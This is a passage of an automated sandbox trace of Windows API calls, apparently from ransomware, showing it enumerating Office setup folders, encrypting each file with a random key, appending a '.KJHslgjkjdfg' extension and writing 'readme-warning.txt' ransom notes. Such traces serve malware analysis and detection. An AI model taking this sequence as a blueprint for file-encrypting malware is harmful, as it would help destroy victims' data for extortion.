lpcbData=0x4dfe77c*=0x18) returned 0x0 [0169.557] RegCloseKey (hKey=0x118) returned 0x0 [0169.557] GetProcessHeap () returned 0x2ef0000 [0169.557] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0169.557] GetProcessHeap () returned 0x2ef0000 [0169.557] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0169.557] GetProcessHeap () returned 0x2ef0000 [0169.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0169.557] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.557] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0169.557] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.557] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0169.557] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0169.558] GetProcessHeap () returned 0x2ef0000 [0169.558] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0169.558] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0169.558] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0169.558] GetProcessHeap () returned 0x2ef0000 [0169.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0169.558] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\readme-warning.txt") returned 110 [0169.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.561] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0169.562] CloseHandle (hObject=0x118) returned 1 [0169.563] GetProcessHeap () returned 0x2ef0000 [0169.563] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0169.563] GetProcessHeap () returned 0x2ef0000 [0169.563] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0169.563] GetProcessHeap () returned 0x2ef0000 [0169.563] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0169.563] GetProcessHeap () returned 0x2ef0000 [0169.563] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.563] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0169.563] GetProcessHeap () returned 0x2ef0000 [0169.563] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0169.563] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0169.563] GetProcessHeap () returned 0x2ef0000 [0169.563] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xca) returned 0x2f14588 [0169.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0169.565] GetProcessHeap () returned 0x2ef0000 [0169.565] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0169.565] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0169.565] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0169.565] GetProcessHeap () returned 0x2ef0000 [0169.565] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2cc) returned 0x2f47728 [0169.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.565] GetProcessHeap () returned 0x2ef0000 [0169.565] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.566] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.566] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.566] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xf, lpOverlapped=0x0) returned 1 [0169.568] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.568] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.568] GetProcessHeap () returned 0x2ef0000 [0169.568] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.568] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0169.568] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.568] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0169.568] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.568] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.569] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.569] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.569] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.569] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.569] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.569] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.569] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x391, lpOverlapped=0x0) returned 1 [0169.569] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x3a0) returned 1 [0169.569] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.569] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x3a0, lpOverlapped=0x0) returned 1 [0169.569] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.570] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.570] SetEndOfFile (hFile=0x118) returned 1 [0169.572] GetProcessHeap () returned 0x2ef0000 [0169.572] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.572] GetProcessHeap () returned 0x2ef0000 [0169.572] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.573] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.kjhslgjkjdfg")) returned 1 [0169.573] CloseHandle (hObject=0x118) returned 1 [0169.573] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.575] GetProcessHeap () returned 0x2ef0000 [0169.575] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.575] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.575] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.575] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.596] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.597] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.597] GetProcessHeap () returned 0x2ef0000 [0169.597] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0169.597] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0169.597] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.597] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0169.597] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.597] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.597] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.597] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.597] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.598] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.598] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.598] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x5ac, lpOverlapped=0x0) returned 1 [0169.598] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x5b0) returned 1 [0169.598] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.598] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x5b0, lpOverlapped=0x0) returned 1 [0169.598] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.598] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.598] SetEndOfFile (hFile=0x118) returned 1 [0169.601] GetProcessHeap () returned 0x2ef0000 [0169.601] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0169.601] GetProcessHeap () returned 0x2ef0000 [0169.601] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0169.602] CloseHandle (hObject=0x118) returned 1 [0169.602] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.602] GetProcessHeap () returned 0x2ef0000 [0169.602] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.602] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.602] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0169.603] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.603] GetProcessHeap () returned 0x2ef0000 [0169.603] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0169.603] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.603] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0169.603] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.603] GetProcessHeap () returned 0x2ef0000 [0169.603] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0169.603] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.603] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0169.603] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.603] GetProcessHeap () returned 0x2ef0000 [0169.603] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0169.603] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.603] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0169.603] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.603] GetProcessHeap () returned 0x2ef0000 [0169.604] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0169.604] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.604] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0169.604] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.604] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0169.604] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0169.604] RegCloseKey (hKey=0x118) returned 0x0 [0169.604] GetProcessHeap () returned 0x2ef0000 [0169.604] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0169.604] GetProcessHeap () returned 0x2ef0000 [0169.604] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0169.604] GetProcessHeap () returned 0x2ef0000 [0169.604] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0169.604] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.604] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0169.604] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.605] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0169.605] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0169.605] GetProcessHeap () returned 0x2ef0000 [0169.605] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0169.605] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0169.605] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0169.605] GetProcessHeap () returned 0x2ef0000 [0169.605] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0169.605] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\readme-warning.txt") returned 111 [0169.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.731] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0169.732] CloseHandle (hObject=0x118) returned 1 